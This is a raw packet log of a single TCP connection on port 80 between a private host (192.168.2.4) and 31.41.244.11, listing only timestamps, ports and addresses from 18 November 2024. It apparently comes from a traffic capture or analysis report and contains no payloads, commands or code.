Nov 18, 2024 23:04:13.788522005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.788537025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.788541079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.788561106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.788582087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.788582087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.789292097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.789308071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.789321899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.789339066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.789349079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.789366961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.789375067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.789375067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.789382935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.789397001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.789411068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.789412975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.789428949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.789441109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.789483070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.789648056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.790232897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.790247917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.790261984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.790277004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.790292025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.790308952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.790308952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.790333986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.790334940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.790349960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.790355921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.790364981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.790374994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.790380001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.790394068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.790417910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.790417910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.791047096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.791115999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.791273117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.791289091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.791302919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.791327953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.791342020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.791342974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.791342974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.791357994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.791363955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.791363955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.791373014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.791388035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.791393042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.791393042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.791404963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.791412115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.791428089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.791445971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.792184114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.792200089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.792215109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.792228937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.792234898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.792244911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.792259932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.792259932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.792259932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.792274952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.792279005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.792289972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.792304039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.792304039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.792341948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.792361975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.793101072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793117046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793132067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793147087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793160915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793164015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.793164968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.793184996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.793207884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793209076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.793224096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793241024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793253899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.793255091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793279886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.793279886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.793298960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.793943882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793961048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793975115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.793991089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794004917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794006109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794007063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794023037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794032097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794032097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794038057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794050932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794054985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794068098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794070005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794097900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794116020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794116020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794902086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794918060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794931889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794948101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794964075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794965029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794980049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.794991970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794991970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794991970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.794997931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795013905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795021057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.795021057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.795043945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.795058012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.795741081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795757055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795770884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795792103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795808077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795808077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.795825005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795830011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.795840979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795856953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.795857906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795874119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795876980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.795888901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.795897007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.795916080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.795932055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.796714067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.796730042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.796744108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.796758890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.796773911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.796776056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.796776056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.796789885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.796794891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.796806097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.796821117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.796829939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.796837091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.796853065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.796854973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.796854973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.796876907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.796902895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.797626019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.797645092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.797660112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.797673941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.797688007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.797703028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.797707081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.797707081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.797707081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.797718048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.797734022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.797734022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.797749996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.797754049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.797764063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.797770023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.797791004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.797812939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.798563957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.798579931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.798594952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.798609972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.798624992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.798626900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.798626900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.798640013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.798650980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.798655987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.798666000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.798671007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.798686028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.798695087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.798701048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.798715115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.798742056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.799451113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.799465895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.799479961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.799499035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.799516916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.799520016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.799531937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.799541950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.799542904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.799547911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.799562931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.799570084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.799576998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.799592018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.799592972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.799619913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.799639940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800350904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800367117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800380945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800395012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800410986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800412893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800412893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800432920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800436974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800437927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800448895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800456047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800466061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800472975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800482035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800489902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800501108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800508976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800515890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800533056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.800545931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800565004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.800589085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.801284075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.801300049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.801316977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.801331997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.801343918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.801343918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.801347017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.801362038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.801363945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.801377058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.801383018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.801392078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.801403046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.801408052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.801419020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.801449060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.820611954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.820713043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.820723057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.820729017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.820806026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.820806026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.820839882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.820888996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.856899977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.856915951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857053995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857070923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857085943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857095003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.857187986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.857187986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.857244015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857260942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857321978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.857599020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857614040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857629061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857660055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.857698917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.857750893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857800007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.857906103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857924938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857942104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857955933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.857974052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.857974052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.858017921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.858017921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.858191967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.858218908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.858234882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.858249903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.858257055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.858257055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.858266115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.858292103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.858292103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.858325005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.894845009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.894896030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.894910097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.894916058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.894969940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.895034075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.895050049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.895065069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.895082951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.895116091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.895153046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.895360947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.895441055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.895462990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.895483017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.895522118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.895554066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.897000074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.897063971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.897138119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.897192001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.897265911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.897320986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.897429943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.897447109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.897489071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.897519112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898024082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898037910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898053885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898067951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898082972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898096085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898097038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898123980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898139954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898143053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898155928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898171902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898173094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898188114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898200035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:13.898204088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:13.898224115 CET	80	49794	31.41.244.11	192.168.2.4
